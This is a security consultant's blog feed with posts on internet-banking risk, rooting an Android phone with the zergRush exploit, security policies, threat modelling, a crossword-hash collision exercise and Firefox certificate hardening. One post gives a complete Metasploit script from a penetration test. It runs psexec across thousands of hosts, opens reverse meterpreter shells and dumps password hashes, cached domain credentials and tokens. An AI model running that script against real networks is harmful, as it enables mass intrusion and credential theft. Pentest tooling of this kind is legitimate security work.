Dominic White - Security

Internet Banking, 22seven & Security Fallacies

nospam@example.com (Dominic White) — Thu, 02 Feb 2012 14:26:01 +0200

There's been a lot of hoopla recently about internet banking security and the introduction of 22seven. I'd like to add to the discussion, by attempting to extract the key arguments and critically analyzing them.

1) 22seven is secure

Figuring out if something is secure is really hard. The current way the industry measures it is by getting a reputable company to perform an in-depth and broad security assessment. 22seven claim to do this in their description. However, none of the results are published, so as a member of the public, we have little to go on. Even then, security testing is a bit of a market for lemons; that is, unless you are an expert, you don't know if the testers did a good job or not. For me to take their claim seriously I'd like to see a letter of attestation from a reputable security testing firm at the least. Until then, we can't know.

On the flip side, I use tons of online services all day that don't even get around to claiming they test their stuff, let alone go as far as I described above, and so do you. But, these services don't want access to my personal financial transactions, limited power of attorney, and leave all the risk of compromise on me.

2) 22seven is safe because they use Yodlee and they are safe

This is the claim put forward by 22seven themselves as part of their security overview, and elaborated on by Simon Dingle. The problem with this is two fold. First, there are many possible ways in which 22seven could be modified in the event of a compromise to provide access to your credentials, even though Yodlee is secure. Paul Cartmel reminds us of the old security truism; that you're only secure as your weakest link. A simple modification of their invocation of Yodlee would be enough to get the job done. Even if you aren't targeting credentials, a disclosure of your financial transactions alone could be a serious breach. So, you need 22seven to be secure AND Yodlee to be secure.

Even then, the use of a third party, with whom I have no contractual relationship, in another country's jurisdiction (now the US gov can subpoena my financial details, yay) makes me uncomfortable. What recourse do I have to Yodlee if they are the source of a breach?

Once again, you do this all the time, so put it into perspective a little :)

3) Yodlee is safe, because they've never been breached in 13 years

If you refer back to point (1) you'll note that I didn't use "no past breaches" as a criteria for "secure". This is for two reasons again. The first is that detecting breaches is really hard. You need to have significant monitoring, and the capability to understand what the tools are producing to know if you are breached. Even then, the possibility of the attacker being smarter than your monitoring exists (and to bypass your average IDS, you don't have to be that smart). Second, having never been compromised could be as much an indication that nobody has ever tried as it could that the site resisted attacks. Even if it was rock solid till now, people make mistakes, and introduce new code with potential vulnerabilities all the time. The past is no guarantee of future success.

To be fair to Yodlee, at no point on their site do they make this claim. This was put forward by Simon in his article.

4) Yodlee's access to your bank account is a good idea

I'm paraphrasing heavily here, but it captures the general argument between 22seven (and supporters) and the likes of Absa. The claim is that Absa is being a stick in the mud and resiting the new wave of customer service possibilities. Commercials aside, I think Absa has a point here. Of all the possibilities for how 22seven could get your info, giving you banking creds to Yodlee has to be the worst. In fact, this is a solved problem. How do you think you accountant has been getting transactional information from Internet Banking into Quick Books or Pascal all these years? They export the stuff in OFX (open financial exchange) or QFX formats and import it into their tool. Better yet, PFM's that support this have been around for a while. I've been using buxfer.com for over a year with this method, and it works well, without me handing over full control of my bank accounts to a random third party (but you'll not I do fall prey to some of the problems I listed above re jurisdiction & the possibility of buxfer getting hacked). There are a ton of other options too, a client-side browser plugin that stores your creds and imports it into the site would be a use of automation that doesn't require credential disclosure. Here, let me draw a picture:

Banks Response

There seem to have been two responses from two banks, Absa and FNB. Absa's response was to block Yodlee's servers. I think it may be a bit drastic, but I certainly have sympathy for their stated objection to handing your creds over to a third party. FNB, on the other hand, ~~has responded by~~ will be getting rid of their One Time Passwords (via GSM as a 2nd-factor-auth) on login, and relying on transactional ("confirmation") OTPs only. They contacted me to clarify that this was planned before 22seven and was not a response to it. I think this is a bad idea (outside of 22seven), and have asked (as a customer) that FNB retain login SMS notifications at the least (they will publish a log of logins within Internet Banking, but by the time you've found an illegal one, it's possibly too late). ~~Hopefully they'll respond.~~ FNB went on to clarify that login notifications will still be sent by e-mail, and that the audit trail published in the app will include both failed and successful logins.

This has happened before though, with Twitter and Facebook. Remember when you had to give sites your twitter and facebook credentials, and the problems that caused? They ended up building in OAuth and providing an API that caters for third party applications (and per-application permissions). This may the chance for the banks to start doing the same.

Conclusion

I'm not saying 22seven and Yodlee are ripe for hacking, nor that they are safe. I'm not even saying us not knowing they're safe should preclude their use given what you do with the rest of your online data. Unfortunately, you need to make the decision, but I'm sticking to my OFX export in the meantime and find the risk of disclosure some transactional data, should buxfer get hacked, acceptable compared with the benefits it provides me (for e.g. I moved bank after buxfer made it clear just how much I was paying). I'm also not joining in any name calling, I disagree with some of Simon and Paul's points and agree with others, but this stands as my opinion in the end.

Update: Modified the "Bank's Response" section based on feedback from FNB. Thanks for going to the trouble of contacting me :)

How to root a Motorola Atrix 4G on 2.3.4

nospam@example.com (Dominic White) — Mon, 16 Jan 2012 14:56:59 +0200

Thanks to Simon Dingle, I'm going to be getting into the world of Android. One of the things that shocked me over the first few days, was the large number of applications that came bundled with the phone that could not be uninstalled, and had persistent background processes. In the "direct consequences" camp, the Motorola News and Gallery application simultaneously chewed my bandwidth and flattened by battery, in the more worrying "shady unknown consequences" camp, an app call "Arabware [1]" offered to "localize" my services, and also could not be uninstalled or stopped. I decided it was time I got root.

The official guides for how to root a Motorola Atrix 4G on the latest update (2.3.4 at the time of writing) are laughably naive. In 5 minutes I could easily find 50 sites all parroting the same process involving complex and dangerous flashing of firmware. The first bit of mis-information that needs clarification, is that despite the Motorola 2.3.3 developer preview having an unlocked bootloader, the official 2.3.4 Gingerbread update from Motorola DOES NOT HAVE AN UNLOCKED BOOTLOADER. No problem they say, just flash this firmware in this ZIP file, supposedly extracted from a Chinese leaked version of 2.3.3. What?! You want me to flash fimware passed around as a zip file from random locations? Not a chance. To make it worse, after a quick squiz at the .sbf file, I found this comment embedded in it:

"The2dCour, known troll in your phone."

Awesome. Not a chance I'm touching that.
Here's a much safer, simpler way to root your device, which involves no warranty-voiding, security-spine-chilling hoop jumping.

All I wanted was root. I'm familiar enough with Linux to make my way after that. If you're "non-technical" then move along :) The steps are:

Put your phone into USB debugging mode.
Download and install the Android Debugging tool from the Android SDK.

You'll need to run the SDK executable (android) and install the "Platform Tools" to get ADB these days.

Plug your phone into your computer.
Run "adb devices". You should see the serial number of your phone appear.
Download the binary zergRush exploit from it's developers. The source code is also available for you to examine (or compile).
Upload it to your device with "adb push zergRush /data/local/tmp".
Connect to your device with "adb shell"
In the shell, switch to the temp dir and run zergRush "cd /data/local/tmp/; ./zergRush"
You should see the following (the image below has been partially redacted):

If you get the "Killing ADB and restarting as root" line, then it's worked. Exit your adb shell and reconnect. You'll see a "#" as your prompt indicating you're root.

And that's it. On the one hand, I'm happy there's a "safer" easy way to get root on my own device, on the other hand, I'm uncomfortable with the fact that one of Motorola's flagship phones can be 0nwed so easily, with no update forthcoming.

[1] Yes, I know Arabware is a localisation service for the Arabic alphabet. I'm not saying it's shady, just that I see no reason why it should be a mandatory app in South Africa.

Metasploit Massploitation

nospam@example.com (Dominic White) — Sun, 08 Jan 2012 20:42:59 +0200

In light of past and recent posts from mubix (one, two) and jcran, I thought I'd post the hack I used to connect to then run Metasploit post-exploitation modules across several thousand machines. I still need to go through them all and merge them, but I thought I'd throw my hat in the ring. Thank to mubix for his help on the job with some of it.

On a pentest with a massive internal network, we managed to get access to 22k machines as local admin using a local account (verified with ncrack). Obvious domain priv esc routes were shut down, so it was time to extend our control and information. I wanted hashes, cached domain creds and available tokens from each of these. So I put together the following metasploit massploitation script. The main difference between this and the other solutions posted, is that my box fell over with several thousand meterpreter sessions open, so I wanted a way to automate connecting & pulling the info without needed all the sessions to be open at once.

Essentially, there are three parts:

The massploitation.rc, this is the script run in the console (capturing the output is a good idea)
The targets file which has a list of targets, one per line
The extract.rc that is run within each meterpreter session by the massploitation script. You can change this to what you need.

massploit-generic.rc

use multi/handler
setg PAYLOAD windows/meterpreter/reverse_tcp
setg LHOST <Local IP>
set LPORT 4444
set ExitOnSession false
exploit -j -z

use exploit/windows/smb/psexec
set SMBUser <username>
set SMBPass <pass or hash>
set SMBDomain "."
set DisablePayloadHandler true

<ruby>
	hostsfile = "<file containing hosts one per line>"
	File.open(hostsfile).each do |host|
		host.strip!
		print_status("Targetting #{host}")
		self.run_single("set RHOST #{host}")
		self.run_single("exploit -j -z")
		flag = false
		count = 0
		while ( flag == false and count < 5 )
			if ( framework.sessions.length > 0 )
				self.run_single("sessions -s extract.rc")
				flag = true
				#self.run_single("sessions -K")  #trying to resolve the race condition, this didn't work
			else
				count += 1
			end
			sleep(5)
		end
	end
</ruby>

extract.rc

print_status(client.sys.config.sysinfo["Computer"])
print_status(client.sys.config.sysinfo["OS"])
client.console.run_single("load incognito")
client.console.run_single("list_tokens -u")
client.console.run_single("run post/windows/gather/cachedump")
client.console.run_single("hashdump")
client.console.run_single("exit")  #Rather kill the session here

The stuff isn’t perfect, as there is a race condition where sometimes it tries to execute the meterpreter script before the meterpreter session is ready. Other than the delay, I’ll need to spend some time to understand metasploit’s threading.

Am I Hacked?

nospam@example.com (Dominic White) — Sun, 07 Aug 2005 04:16:53 +0200

Update: This long stopped working, I just updated it (Nov 2011), and moved it to github, grab it here.

DShield has a nice webpage where you can check whether an IP address appears in the DShield database as an attacker, a good sign that your machine has been compromised. There have been some extensions of this service, such as Johannes Ullrich's "amIhacked?".

I decided this was quite a nice service, so I hacked up a perl script which will do the check for me. I then made a quick cron script which would only mail me if my machine ever appears as an attacker, thus my daily runs aren't cluttered. This is not a foolproof method. It is possible for a machine to get cracked and not appear in the DShield database, but if it is there then there is a fairly good chance something is wrong.

The script is simple, no arguments and it checks your machines IP, or pass an IP to see if it is in the database. It is available for download here. Example output:

$ hackcheck.pl
146.231.115.12 is Safe
$ hackcheck.pl 0.0.0.0
0.0.0.0 is Hacked : It appears 157,699 times.

The cron script is very simple. Just drop it into /etc/cron.daily or the like.

#!/bin/sh
test -f /usr/bin/hackcheck.pl || exit 0

MAILTO=root

#Put the IP address of the machine you want checked here
IP=0.0.0.0

[ -z "$MAILTO" ] && exit 1

hackcheck.pl $IP > /dev/null
if [ "$?" -eq "1" ]; then
        hackcheck.pl $IP| \
        mail -e -s "DShield Hack Warning \
        on $(hostname -f) [$(date +%D)]" $MAILTO
fi

DShield relies on the submissions of people from around the world. Find out how you can contribute by submitting your logs here.

Squinting at Security Drivers & Perspective-based Biases

nospam@example.com (Dominic White) — Tue, 01 Nov 2011 19:17:28 +0200

Originally published on SensePost's blog.

While doing some thinking on threat modelling I started examining what the usual drivers of security spend and controls are in an organisation. I've spent some time on multiple fronts, security management (been audited, had CIOs push for priorities), security auditing (followed workpapers and audit plans), pentesting (broke in however we could) and security consulting (tried to help people fix stuff) and even dabbled with trying to sell some security hardware. This has given me some insight (or at least an opinion) into how people have tried to justify security budgets, changes, and findings or how I tried to. This is a write up of what I believe these to be (caveat: this is my opinion). This is certainly not universalisable, i.e. it's possible to find unbiased highly experienced people, but they will still have to fight the tendencies their position puts on them. What I'd want you to take away from this is that we need to move away from using these drivers in isolation, and towards more holistic risk management techniques, of which I feel threat modelling is one (although this entry isn't about threat modelling).

Auditors

The tick box monkeys themselves, they provide a useful function, and are so universally legislated and embedded in best practise, that everyone has a few decades of experience being on the giving or receiving end of a financial audit. The priorities audit reports seem to drive are:

Vulnerabilities in financial systems. The whole audit hierarchy was created around financial controls, and so sticks close to financial systems when venturing into IT's space. Detailed and complex collusion possibilities will be discussed when approving payments, but the fact that you can reset anyone's password at the helpdesk is sometimes missed, and more advanced attacks like token hijacking are often ignored.
Audit house priorities. Audit houses get driven just like anyone else. While I wasn't around for Enron, the reverberations could still be felt years later when I worked at one. What's more, audit houses are increasingly finding revenue coming from consulting gigs and need to keep their smart people happy. This leads to external audit selling "add-ons" like identity management audits (sometimes, they're even incentivised to).
Auditor skills. The auditor you get could be an amazing business process auditor but useless when it comes to infosec, but next year it could be the other way around. It's equally possibly with internal audit. Thus, the strengths of the auditor will determine where you get nailed the hardest.
The Rotation plan. This year system X, next year system Y. It doesn't mean system X has gotten better, just that they moved on. If you spend your year responding to the audit on system Y and ignore X, you'll miss vital stuff.
Known systems. External and internal auditors don't know IT's business in detail. There could be all sorts of critical systems (or pivot points) that are ignored because they weren't in the "flow of financial information" spread sheet.

Vendors Security vendors are the love to hate people in the infosec world. Thinking of them invokes pictures of greasy salesmen phoning your CIO to ask if your security chumps have even thought about network admission control (true story). On the other hand if you've ever been a small team trying to secure a large org, you'll know you can't do it without automation and at some point you'll need to purchase some products. Their marketing and sales people get all over the place and end up driving controls; whether it's “management by in-flight magazine”, an idea punted at a sponsored conference, or the result of a sales meeting.

But security vendors prioritisation of controls are driven by:

New Problems. Security products that work eventually get deployed everywhere they're going to be deployed. They continue to bring in income, but the vendor needs a new bright shiny thing they can take to their existing market and sell. Thus, new problems become new scary things that they can use to push product. Think of the Gartner hype curve. Whatever they're selling, be it DLP, NAC, DAM, APT prevention or IPS if your firewall works more like a switch and your passwords are all "P@55w0rd" then you've got other problems to focus on first.
Overinflated problems. Some problems really aren't as big as they're made out to be by vendors, but making them look big is a key part of the sell. Even vendors who don't mean to overinflate end up doing it just because they spend all day thinking of ways to justify (even legitimate) purchases.
Products as solutions. Installing a product designed to help with a problem isn't the same as fixing the problem, and vendors aren't great at seeing that (some are). Take patch management solutions, there are some really awesome, mature products out there, but if you can't work out where your machines are, how many there are or get creds to them, then you've got a long way to go before that product starts solving the problem it's supposed to.

Pentesters

Every year around Black Hat Vegas/Pwn2Own/AddYourConfHere time a flurry of media reports hit the public and some people go into panic mode. I remember The DNS bug, where all that was needed was for people to apply a patch, but which, due to the publicity around it, garnered a significant amount of interest from people who it usually wouldn't, and probably shouldn't have cared so much. But many pentesters trade on this publicity; and some pentesting companies use this instead of a marketing budget. That's not their only, or primary, motivation, and in the end things get fixed, new techniques shared and the world a better place. The cynical view then is that some of the motivations for vulnerability researchers, and what they end up prioritising are:

New Attacks. This is somewhat similar to the vendors optimising for "new problems" but not quite the same. When Errata introduced Hamster at ToorCon ‘07, I heard tales of people swearing at them from the back. I wasn't there, but I imagine some of the calls were because Layer 2 attacks have been around and well known for over a decade now. Many of us ignored FireSheep for the same reason, even if it motivated the biggest moves to SSL yet. But vuln researchers and the scene aren't interested, it needs to be shiny, new and leet . This focus on the new, and the press it drives, has defenders running around trying to fix new problems, when they haven't fixed the old ones.
Complex Attacks. Related to the above, a new attack can't be really basic to do well, it needs to involve considerable skill. When Mark Dowd released his highly complex flash attack, he was rightly given much kudos. An XSS attack on the other hand, was initially ignored by many. However, one lead to a wide class of prevalent vulns, while the other requires you to be, well, Mark Dowd. This mean some of the issues that should be obvious, that underpin core infrastructure, but that aren't sexy, don't get looked at.
Shiny Attacks. Some attacks are just really well presented and sexy. Barnaby Jack had an ATM spitting out cash and flashing "Jackpot", that's cool, and it gets a room packed full of people to hear his talk. Hopefully it lead to an improvement in security of some of the ATMs he targeted, but the vulns he exploited were the kinds of things big banks had mostly resolved already, and how many people in the audience actually worked in ATM security? I'd be interested to see if the con budget from banks increased the year of his talk, even if they didn't, I suspect many a banker went to his talk instead of one that was maybe talking about a more prevalent or relevant class of vulnerabilities their organisation may experience. Something Thinkst says much better here.

Individual Experience

Unfortunately, as human beings, our decisions are coloured by a bunch of things, which cause us to make decisions either influenced or defined by factors other than the reality we are faced with. A couple of those lead us to prioritising different security motives if decision making rests solely with one person:

Past Experience. Human beings develop through learning and consequences. When you were a child and put your hand on a stove hot plate, you got burned and didn't do it again. It's much the same every time you get burned by a security incident, or worse, internal political incident. There's nothing wrong with this, and it's why we value experience; people who've been burned enough times not to let mistakes happen again. However, it does mean time may be spent preventing a past wrong, rather than focusing on the most likely current wrong. For example, one company I worked with insisted on an overly burdensome set of controls to be placed between servers belonging to their security team and the rest of the company network. The reason for this was due to a previous incident years earlier, where one of these servers had been the source of a Slammer outbreak. While that network was never again a source of a virus outbreak, their network still got hit by future outbreaks from normal users, via the VPN, from business partners etc. In this instance, past experience was favoured over a comprehensive approach to the actual problem, not just the symptom.
New Systems. Usually, the time when the most budget is available to work on a system is during its initial deployment. This is equally true of security, and the mantra is for security to be built in at the beginning. Justifying a chunk of security work on the mainframe that's been working fine for the last 10 years on the other hand is much harder, and usually needs to hook into an existing project. The result is that it's easier to get security built into new projects than to force an organisation to make significant “security only” changes to existing systems. The result in those that present the vulnerabilities pentesters know and love get less frequently fixed.
Individual Motives. We're complex beings with all sorts of drivers and motivations, maybe you want to get home early to spend some time with your kids, maybe you want to impress Bob from Payroll. All sorts of things can lead to a decision that isn't necessarily the right security one. More relevantly however, security tends to operate in a fairly segmented matter, while some aspects are “common wisdom”, others seem rarely discussed. For example, the way the CISO of Car Manufacturer A and the CISO of Car Manufacturer B set up their controls and choose their focus could be completely different, but beyond general industry chit-chat, there will be little detailed discussion of how they're securing integration to their dealership network. They rely on consultants, who've seen both sides for that. Even then, one consultant may think that monitoring is the most important control at the moment, while another could think mobile security is it.

So What?

The result of all of this is that different companies and people push vastly different agendas. To figure out a strategic approach to security in your organisation, you need some objective risk based measurement that will help you secure stuff in an order that mirrors the actual risk to your environment. While it's still a black art, I believe that Threat Modelling helps a lot here, a sufficiently comprehensive methodology that takes into account all of your infrastructure (or at least admits the existence of risk contributed by systems outside of a “most critical” list) and includes valid perspectives from above tries to provide an objective version of reality that isn't as vulnerable to the single biases described above.

ZaCon III - TBOY

nospam@example.com (Dominic White) — Mon, 10 Oct 2011 09:20:15 +0200

TBOY - The Best One Yet

ZaCon III has come and gone this last weekend. It was a blast, solid content including some exciting first timers and more than doubling the original research output, an extension to include a Fri night, and the first time we ran with volunteers. The fact that the con seems to be getting better each year is important for me.

"It looks a bit eclectic"

Friday night kicked off around 7 at an uber-chilled venue, described by Roelof as "what I always imagined ZaCon should be" which was pretty great. Despite a projector failure, and nowhere to put the backup one, Roelof and Marco both presented some really entertaining talks. It was a nice mix of entertaining (and freaky) OSint followed by some hardcore vuln research. The time on either side to meet and talk to people was fun as a change to the usual brain-bending long day that is ZaCon.

Coffee was Flowing, Hangovers were Showing

Saturday kicked off with some more projector and microphone troubles followed by a power failure to one side of the room, but by the first tea break we had a duct taped alternative projector stand up and running, the lapel mic microphone replaced and power piped in from the surrounds. The talks started with more than 100 people filling the uncomfortable benches, and the three upstream tubes providers taking some strain thanks to the RF-busting styles of our internet volunteers, Peter Stayt & Prince Sihlahla. Our local site (local.zacon.org.za, up for a few days more if you want to get your ratings in) ran smoothly for a change thanks to Ralfe Poisson.

My favourite talks of the day go to Jeremy du Bruyn on practical password cracking and Reino Mostert on NNTP cache enumeration and poisoning. Partly because they were first time speakers, delivering original research output, and partly because they were awesome speakers with awesome talks even without the caveats. The "can I go to jail if" talk from Matt Erasmus and Helaine Leggat with Matt collecting and asking the questions, and Helaine answering was also great, and we're thinking of making it a regular feature if they agree. The only thing I missed there, was a light of hope. I got the feeling that in ZA vuln research has *no legal protection* and your only defense is not to do it. There were several other talks I greatly enjoyed too.

We'll be collecting slides, DiscussIT will be publishing audio, and some time later we'll try get the videos out.

ZaCon IV

We've got pages of things to improve on for next year, and hopefully we'll be able to retain the TBOY label. In the meantime, it's never too early to start pondering a submission for next year, start talking it over at the next 0xC0FFEE session, subscribe to the community@zacon.org.za mailing list or join the #zacon chan on irc.atrum.org.

Thanks

So many people did so many things, here's a brief list of people who need thanking in no particular order

The speakers - without you guys there's no con
People@ - you know who you are
The volunteers

Local site - Ralfe
Internets - Peter, Prince
Registration - Tim, Ross
Badges - Andrew
Venue - Sagi <-- Big shouts to this guy, who did some some hard work
Audio & Video - Tony and Jameel

Attendees - presenting to an empty room wouldn't be as much fun
University of Johannesburg - for hosting us
Cafe Pronto - for the coffee

Security Policies - Go Away

nospam@example.com (Dominic White) — Tue, 19 Jul 2011 13:27:00 +0200

This is re-published, from the original on the SensePost blog.

Security policies are necessary, but their focus is to the detriment of more important security tasks. If auditors had looked for trivial SQL injection on a companies front-page as hard as they have checked for security polices, then maybe our industry would be in a better place. I want to make this go away, I want to help you tick the box so you can focus on the real work. If you just want the "tool" skip to the end.

A year and a half ago, SensePost started offering "build it" rather than "break it" consulting services, we wanted to focus on technical, high-quality advisory work. However, by far the most frequently "consulting" request we've seen has been asking for security policies. Either a company approaches us looking for them explicitly or they want them bolted on to other work. The gut feel I've picked up over the years is that if someone is asking you to develop security policies for them, then either they're starting on security at the behest of some external or compliance requirement or they're hoping that this is the first step in an information security program. (Obviously, I can't put everything into the same bucket, but I'm talking generally) Both are rational reasons to want to get your information security policies sorted, but getting outside consultants to spend even a week's worth of time developing them for you, is time that could be better spent in my opinion. My reasons for this are two-fold:

If you're starting a security program, then you have a lot to learn and possibly a lot of convincing of senior management to do. Something like an internal penetration test (not that I'm advocating this specifically instead of policy) will give you far more insight into the security of your environment and a lot more "red ink" that can be used to highlight the risk to the "higher ups".
Security policies don't "do" anything. They are a representation of management's intention and agreements around security controls, which in the best case, provide a "cover my ass" defense if an employee takes you to task for intercepting their e-mails or something similar. The policies need to be used to derive actual controls, and are not controls in themselves.

Instead, we too often end up in a world where security policies, rather than good security, is the end goal while new technologies keep us amused developing new ones (mobile policies, social media policies, data leakage policies etc.)

Saying all of this is fine, but it doesn't make the auditors stop asking, and it doesn't put a green box or tick in the ISO/PCI/CoBIT/HIPAA/SOX policies checkbox. Previously, I've pointed people at existing policy repositories, where sample policies can be downloaded and modified to suit their need. Sites such as CSOOnline or PacketSource have links to some policies, but by far the most comprehensive source of free security policy templates is SANS. The problem is people seem to look at these, think it looks like work, and move on to a consultancy that's happy to charge for a month's worth of time. Even when you don't, the policies are buried in sub-pages that don't always make sense (for example, why is the Acceptable Use Policy put under "computer security"), even then several of them are only available in PDF form (hence not editable), even though they are explicitly written as modifiable templates. What I did was to go through all of these pages, download the documents, convert them into relevant formats and categorise them into a single view in a spreadsheet with hyperlinks to the documents. I've also included their guidance documents on how to write good sec policies, and ISO 27001-linked policy roadmaps. I haven't modified any of the actual content of the documents, and those retain their original copyright. I'm not trying to claim any credit for others' hard work, merely make the stuff a little more accessible.

You can download the index and documents HERE.

In future, I hope to add more "good" policies (a few of the SANS policies aren't wonderful), and also look into expanding into security standards (ala CIS Security) in the future. If necessary, take this to a consultancy, and ask them to spend some time making these specific to your organisation and way of doing things, but please, if you aren't getting the basics right, don't focus on these. In the meantime, if you're looking for information security policies to go away, so you can get on with the bigger problems organisations, and our industry in general are facing, then this should be a useful tool.

Threat Modeling vs Information Classification

nospam@example.com (Dominic White) — Thu, 09 Jun 2011 15:24:50 +0200

This was originally posted on the SensePost blog.

Over the last few years there has been a popular meme talking about information centric security as a new paradigm over vulnerability centric security. I've long struggled with the idea of information-centricity being successful, and in replying to a post by Rob Bainbridge, quickly jotted some of those problems down.

In pre-summary, I'm still sceptical of information-classification approaches (or information-led control implementations) as I feel they target a theoretically sensible idea, but not a practically sensible one.

Information gets stored in information containers (to borrow a phrase from Octave) such as the databases or file servers. This will need to inherit a classification based on the information it stores. That's easy if it's a single purpose DB, but what about a SQL cluster (used to reduce processor licenses) or even end-user machines? These should be moved up the classification chain because they may store some sensitive info, even if they spend the majority of the time pushing not-very-sensitive info around. In the end, the hoped-for cost-saving-and-focus-inducing prioritisation doesn't occur and you end up having to deploy a significantly higher level of security to most systems. Potentially, you could radically re-engineer your business to segregate data into separate networks such as some PCI de-scoping approaches suggest, but, apart from being a difficult job, this tends to counter many of the business benefits of data and system integrations that lead to the cross-pollination in the first place.

Next up, I feel this fails to take cognisance of what we call "pivoting"; the escalation of privileges by moving from one system or part of a system to another. I've seen situations when the low criticality network monitoring box is what ends up handing out the domain administrator password. It had never been part of internal/external audits scope, none of the vulns showed up on your average scanner, it had no sensitive info etc. Rather, I think we need to look at physical, network and trust segregation between systems, and then data. It would be nice to go data-first, but DRM isn't mature (read simple & widespread) enough to provide us with those controls.

Lastly, I feel information-led approaches often end up missing the value of raw functionality. For example, a critical trade execution system at an investment bank could have very little sensitive data stored on it, but the functionality it provides (i.e. being able to execute trades using that bank's secret sauce) is hugely sensitive and needs to be considered in any prioritisation.

I'm not saying I have the answers, but we've spent a lot of time thinking about how to model how our analysts attack systems and whether we could "guess" the results of multiple pentests across the organisation systematically, based on the inherent design of your network, systems and authentication. The idea is to use that model to drive prioritisation, or at least a testing plan. This is probably closer aligned to the idea of a threat-centric approach to security, and suffers from a lack of data in this area (I've started some preliminary work on incorporating VERIS metrics).

In summary, I think information-centric security fails in three ways; by providing limited prioritiation due to the high number of shared information containers in IT environments, by not incorporating how attackers move through a networks and by ignoring business critical functionality.

Cracking the ITWeb Security Summit Puzzle

nospam@example.com (Dominic White) — Fri, 08 Apr 2011 17:18:26 +0200

This is a pretty pointless entry talking about the simple crossword challenge provided by the ITWeb Security Summit.

The crossword is trivial, I was able to guess each word on first attempt, except the last long word. Instead of thinking about it, and realising that several others had already done it, I thought I'd have a look at the code.

It turns out that the code is somewhat smart and doesn't reveal the words, rather it uses a custom hashing algorithm and stores the hashes. The two pieces of JavaScript controlling the crossword are the configuration (questions & answers) and the functionality. There are two interesting pieces of information in these, the first is the hashes of the answers stored in the configuration:

AnswerHash = new Array(10664, 37493, 27958, 81424, 27548, 67695, 31280);

And the second, in the functionality, is the hashing algorithm:

function HashWord(Word)
{
    var x = (Word.charCodeAt(0) * 719) % 1138;
    var Hash = 837;
    var i;
    for (i = 1; i <= Word.length; i++)
        Hash = (Hash * i + 5 + (Word.charCodeAt(i - 1) - 64) * x) % 98503;
    return Hash;
}

A quick look at the hashing algorithm shows that it probably isn't reversible (or at least not trivially), primarily due to the modulus operators which aren't reversible. However, all is not lost, the algorithm is very simple, which means two things. The first is that it will have a ton of collisions (i.e. many words will result in the same hash) and the second is that your processor won't do much work in running it. Thus, I figured it may be fun to run it across a dictionary and see what collisions pop-up.

Since I was playing, I decided to check out whether there were any CLI JavaScript shells that I could use, and the speed at which they run. A quick google showed me that Chrome's V8 JavaScript engine has a "toy" shell that could be used. I pulled down the trunk, and with the sample=shell option passed to scons had the shell binary built.

The V8 shell is pretty cool, and can either be run interactively, used to evaluate JS passed as an argument with the -e switch, or run multiple files. However, input via CLI can't be passed as an ARGV, and either needs to be in one of the files, or in a -e statement. So I created three files:

hash.js - Which contained the HashWord function above verbatim, but with a toUpperCase() added to the word passed
dict.js - Which contained /usr/share/dict converted into a JS Array object
loop.js - Which contained the answer hashes array, and looped through the dict comparing resulting hashes to the answers

If you're interested, the three files can be downloaded from here. They can be run by passing all three as arguments to shell e.g. ./shell dict.js shell.js loop.js

The results were as follows:

Found! Word: anonymous Hash: 27958
Found! Word: coseismic Hash: 10664
Found! Word: cryptanalysis Hash: 31280
Found! Word: Cupressaceae Hash: 27548
Found! Word: cystolithic Hash: 31280
Found! Word: honeypot Hash: 37493
Found! Word: irrationability Hash: 10664
Found! Word: miscommit Hash: 37493
Found! Word: phloroglucic Hash: 10664
Found! Word: pneumotoxin Hash: 67695
Found! Word: psychics Hash: 10664
Found! Word: reeky Hash: 67695
Found! Word: rhamphoid Hash: 37493
Found! Word: shuckpen Hash: 81424
Found! Word: stowbordman Hash: 81424
Found! Word: unthoughtedly Hash: 27958

Out of interest the result of time() were: 0.39s user 0.06s system 97% cpu 0.460 total

If you've checked the crossword, you'll see some of the answers are listed, you'll also see that there are several collisions, for example 'cryptanalysis' and 'cystolithic' both result in 31280, the hash of the final 'secret' word. It was fairly obvious that 'cryptanalysis' was the final word (apart from being the right length, it's the only security related term) however, I then tried to see if one of the 'incorrect' collisions would work. Unfortunately, there is a length check and so a straight substitution doesn't work, but 'coseismic' in the place of 'conficker' is accepted by the crossword as this image shows:

However, when you try and complete the crossword with the incorrect word, the 's' in 'coseismic' conflicts with the 'c' in 'cryptanalysis' and so you can't complete the crossword with this combination of words. However, if you don't limit yourself to english, and rather use random characters, you could eventually find gobbldegook that would complete the crossword. A challenge for someone else perhaps?

So that's my hackers attempt at 'cracking the code'. Hope to see you at the summit.

Improving Certificate Security in Firefox4

nospam@example.com (Dominic White) — Sat, 26 Mar 2011 18:04:54 +0200

After Jacob outed the compromise at one of Comodo's resellers, I decided to see how I could best secure my browser when it comes to TLS. This is important given how fundamental TLS is to our daily online activities. The advice I currently recommend and have implemented myself in Firefox 4 consists of:

Install HTTPS-Everywhere
Reducing the number of trusted root CA certificates to the most frequently used
Forcing OCSP revocation checks
Monitoring for certificate changes

This is a brief how-to enable the same in your browser.

Install HTTPS Everywhere

You need a reason to engage in all this hard work. Install the EFF's HTTPS-Everywhere add-on which will automatically redirect you to encrypted version of many popular websites. Blanket rules for doing this tend to break things, and the EFF has put some good work into making this usable. Everyone should have it installed.

Reducing the Trusted Roots

Qualys SSL labs, and the EFF SSL Observatory both have data sets which identify the top root certificates in use across the internet. The interesting finding their research highlights is that the top 10 root certificates (note, some CAs have multiple root certificates) account for over 90% of the Internet. This means we can safely cut his number down from the nearly 200 currently in Firefox to 24. I'll be publishing a more detailed analysis on SensePost's blog, but in the meantime, the 24 most commonly used I went for (which accounts for approximately 98% of all certificates is use) are:

AddTrust External CA Root
COMODO Certificate Authority
AAA Certifice Services
DigiCert High Assurance EV Root CA
Entrust.net Secure Server Certification Authority
Entrust.net Certification Authority (2048)
Equifax Secure CA
Equifax Secure Global eBusiness CA-1
GeoTrust Global CA
GlobalSign Root CA
GTE CyberTrust Global Root
Network Solutions Certificate Authority
SecureTrust CA
StarField Class 2 CA
StartCom Certification Authority
Thawte Server CA
Thawte Premium Server CA
thawte Primary Root CA
Go Daddy Class 2 CA
UTN-UserFirst-Hardware
http://www.valicert.com/ (Class 2 Policy Validation)
Verisign Class 3 Public Primary Certification Authority - G5
Verisign Class 3 Public Primary Certification Authority
Verisign Class 3 Public Primary Certification Authority - G2

